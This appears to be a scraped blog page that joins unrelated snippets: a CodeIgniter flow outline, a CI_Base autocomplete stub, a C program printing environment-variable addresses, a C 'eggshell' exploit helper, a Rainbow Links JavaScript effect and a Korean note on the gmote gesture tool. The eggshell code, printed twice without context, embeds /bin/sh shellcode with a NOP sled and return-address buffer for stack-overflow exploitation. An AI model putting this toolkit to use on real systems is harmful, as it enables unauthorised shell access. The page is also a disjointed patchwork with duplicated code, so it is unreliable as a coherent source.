CodeIgniter Application Flow Chart

Application Flow Chart

The following graphic illustrates how data flows throughout the system:

CodeIgniter application flow
  1. The index.php serves as the front controller, initializing the base resources needed to run CodeIgniter.
  2. The Router examines the HTTP request to determine what should be done with it.
  3. If a cache file exists, it is sent directly to the browser, bypassing the normal system execution.
  4. Security. Before the application controller is loaded, the HTTP request and any user submitted data is filtered for security.
  5. The Controller loads the model, core libraries, plugins, helpers, and any other resources needed to process the specific request.
  6. The finalized View is rendered then sent to the web browser to be seen. If caching is enabled, the view is cached first so that on subsequent requests it can be served.

let’s develop using autocomplete codeigniter’s core library in eclipse

class CI_Base extends CI_Loader {
// Core CI libraries
var $config ;
var $form_validation ;
var $input ;
var $load ;
var $router;
var $session ;
var $uri;
var $output;
var $db;
var $unit;
function CI_Base()
{
// This allows syntax like $this->load->foo() to work
parent::CI_Loader();
$this->load =& $this;
// This allows resources used within controller constructors to work
global $OBJ;
$OBJ = $this->load; // Do NOT use a reference.
// Core CI libraries
$this->config = new CI_Config();
$this->form_validation = new CI_Form_validation();
$this->input = new CI_Input();
$this->load = new CI_Loader();
$this->router = new CI_Router();
$this->session = new CI_Session();
$this->uri = new CI_URI();
$this->output = new CI_Output();
$this->db = new CI_DB_active_record();
$this->unit = new CI_Unit_test();
}
}

add in Base4.php

class CI_Base extends CI_Loader {

// Core CI libraries

var $config ;

var $form_validation ;

var $input ;

var $load ;

var $router;

var $session ;

var $uri;

var $output;

var $db;

var $unit;

function CI_Base()

{

// This allows syntax like $this->load->foo() to work

parent::CI_Loader();

$this->load =& $this;

// This allows resources used within controller constructors to work

global $OBJ;

$OBJ = $this->load; // Do NOT use a reference.

// Core CI libraries

$this->config = new CI_Config();

$this->form_validation = new CI_Form_validation();

$this->input = new CI_Input();

$this->load = new CI_Loader();

$this->router = new CI_Router();

$this->session = new CI_Session();

$this->uri = new CI_URI();

$this->output = new CI_Output();

$this->db = new CI_DB_active_record();

$this->unit = new CI_Unit_test();

}

}

getenv


#include

int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Usage : %s ENV_NAME \n",argv[0]);
exit(1);
}

printf("%s Address : 0x%x\n", argv[1], getenv(argv[1]));

return 0;
}

eggshell code

#define DEFAULT_OFFSET                      0
#define DEFAULT_BUFFER_SIZE           512
#define DEFAULT_EGG_SIZE               2048
#define NOP                                      0x90
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_esp(void) {
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize   = atoi(argv[1]);
if (argc > 2) offset  = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
addr = get_esp() – offset;
printf(“Using address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
if(i == 1040)
{
*(addr_ptr++) = 0x1234567;
}
else
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize – 1] = ”;
egg[eggsize – 1] = ”;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}

#include <stdlib.h>

#define DEFAULT_OFFSET                      0

#define DEFAULT_BUFFER_SIZE           512

#define DEFAULT_EGG_SIZE               2048

#define NOP                                      0x90

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {

__asm__(“movl %esp,%eax”);

}

int main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize   = atoi(argv[1]);

if (argc > 2) offset  = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf(“Can’t allocate memory.\n”);

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf(“Can’t allocate memory.\n”);

exit(0);

}

addr = get_esp() – offset;

printf(“Using address: 0x%x\n”, addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

{

if(i == 1040)

{

*(addr_ptr++) = 0x1234567;

}

else

*(addr_ptr++) = addr;

}

ptr = egg;

for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize – 1] = ”;

egg[eggsize – 1] = ”;

memcpy(egg,”EGG=”,4);

putenv(egg);

memcpy(buff,”RET=”,4);

putenv(buff);

system(“/bin/bash”);

}

add rainbow link !!!

add followed js code your HTML

rainbow.js

/************************************************************************/
/* Rainbow Links Version 1.03 (2003.9.20) */
/* Script updated by Dynamicdrive.com for IE6 */
/* Copyright (C) 1999-2001 TAKANASHI Mizuki */
/* takanasi@hamal.freemail.ne.jp */
/*----------------------------------------------------------------------*/
/* Read it somehow even if my English text is a little wrong! ;-) */
/* */
/* Usage: */
/* Insert '' into the BODY section, */
/* right after the BODY tag itself, before anything else. */
/* You don't need to add "onMouseover" and "onMouseout" attributes!! */
/* */
/* If you'd like to add effect to other texts(not link texts), then */
/* add 'onmouseover="doRainbow(this);"' and */
/* 'onmouseout="stopRainbow();"' to the target tags. */
/* */
/* This Script works with IE4,Netscape6,Mozilla browser and above only, */
/* but no error occurs on other browsers. */
/************************************************************************/

////////////////////////////////////////////////////////////////////
// Setting

var rate = 20; // Increase amount(The degree of the transmutation)

////////////////////////////////////////////////////////////////////
// Main routine

if (document.getElementById)
window.onerror=new Function("return true")

var objActive; // The object which event occured in
var act = 0; // Flag during the action
var elmH = 0; // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg; // A color before the change
var TimerID; // Timer ID

if (document.all) {
alert("1");
document.onmouseover = doRainbowAnchor;
document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
alert("2");
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
document.onmouseover = Mozilla_doRainbowAnchor;
document.onmouseout = Mozilla_stopRainbowAnchor;
}

//=============================================================================
// doRainbow
// This function begins to change a color.
//=============================================================================
function doRainbow(obj)
{
if (act == 0) {
act = 1;
if (obj)
objActive = obj;
else
objActive = event.srcElement;
clrOrg = objActive.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}

//=============================================================================
// stopRainbow
// This function stops to change a color.
//=============================================================================
function stopRainbow()
{
if (act) {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}

//=============================================================================
// doRainbowAnchor
// This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
if (act == 0) {
var obj = event.srcElement;
while (obj.tagName != 'A' && obj.tagName != 'BODY' && obj.tagName != 'IMG') {
obj = obj.parentElement;
if (obj.tagName == 'A' || obj.tagName == 'BODY')
break;
}
if (obj.tagName == 'A' && obj.href != '' && obj.href.indexOf("#void") == -1) {
objActive = obj;
act = 1;
clrOrg = objActive.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
}

//=============================================================================
// stopRainbowAnchor
// This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
if (act) {
if (objActive.tagName == 'A') {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
}

//=============================================================================
// Mozilla_doRainbowAnchor(for Netscape6 and Mozilla browser)
// This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_doRainbowAnchor(e)
{
if (act == 0) {
obj = e.target;
while (obj.nodeName != 'A' && obj.nodeName != 'BODY' && obj.tagName != 'IMG') {
obj = obj.parentNode;
if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
break;
}

if (obj.nodeName == 'A' && obj.href != '' && obj.href.indexOf("#void") == -1) {
objActive = obj;
act = 1;
clrOrg = obj.style.color;
TimerID = setInterval("ChangeColor()",100);
}
}
}

//=============================================================================
// Mozilla_stopRainbowAnchor(for Netscape6 and Mozilla browser)
// This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_stopRainbowAnchor(e)
{
if (act) {
if (objActive.nodeName == 'A') {
objActive.style.color = clrOrg;
clearInterval(TimerID);
act = 0;
}
}
}

//=============================================================================
// Change Color
// This function changes a color actually.
//=============================================================================
function ChangeColor()
{
objActive.style.color = makeColor();
}

//=============================================================================
// makeColor
// This function makes rainbow colors.
//=============================================================================
function makeColor()
{
// Don't you think Color Gamut to look like Rainbow?

// HSVtoRGB
if (elmS == 0) {
elmR = elmV; elmG = elmV; elmB = elmV;
}
else {
t1 = elmV;
t2 = (255 - elmS) * elmV / 255;
t3 = elmH % 60;
t3 = (t1 - t2) * t3 / 60;

if (elmH < 60) {
elmR = t1; elmB = t2; elmG = t2 + t3;
}
else if (elmH < 120) {
elmG = t1; elmB = t2; elmR = t1 - t3;
}
else if (elmH < 180) {
elmG = t1; elmR = t2; elmB = t2 + t3;
}
else if (elmH < 240) {
elmB = t1; elmR = t2; elmG = t1 - t3;
}
else if (elmH < 300) {
elmB = t1; elmG = t2; elmR = t2 + t3;
}
else if (elmH < 360) { elmR = t1; elmG = t2; elmB = t1 - t3; } else { elmR = 0; elmG = 0; elmB = 0; } } elmR = Math.floor(elmR).toString(16); elmG = Math.floor(elmG).toString(16); elmB = Math.floor(elmB).toString(16); if (elmR.length == 1) elmR = "0" + elmR; if (elmG.length == 1) elmG = "0" + elmG; if (elmB.length == 1) elmB = "0" + elmB; elmH = elmH + rate; if (elmH >= 360)
elmH = 0;

return '#' + elmR + elmG + elmB;
}

gmote, mouse gesture

[마이너리티 리포트]를 처음 보았을때 인상적이었던 것이 바로 Gesture 로 컴퓨터 화면의 창들을 움직이는 것이었다.
물론 좀 어색해 보이는 면이 없잖아 있었지만…

여러 mouse gesture 프로그램이 있었지만, 경험상 gmote 가 가장 무난한듯
많은 것들을 마우스 하나 만으로 컨트롤하는데 무리가 있겠지만, 이 시도가 계속 발전하는 것을 보면 ㄷㄷㄷ
아마 앞으로 OS 에 기본으로 mouse gesture lib 가 탑재되지 않을까?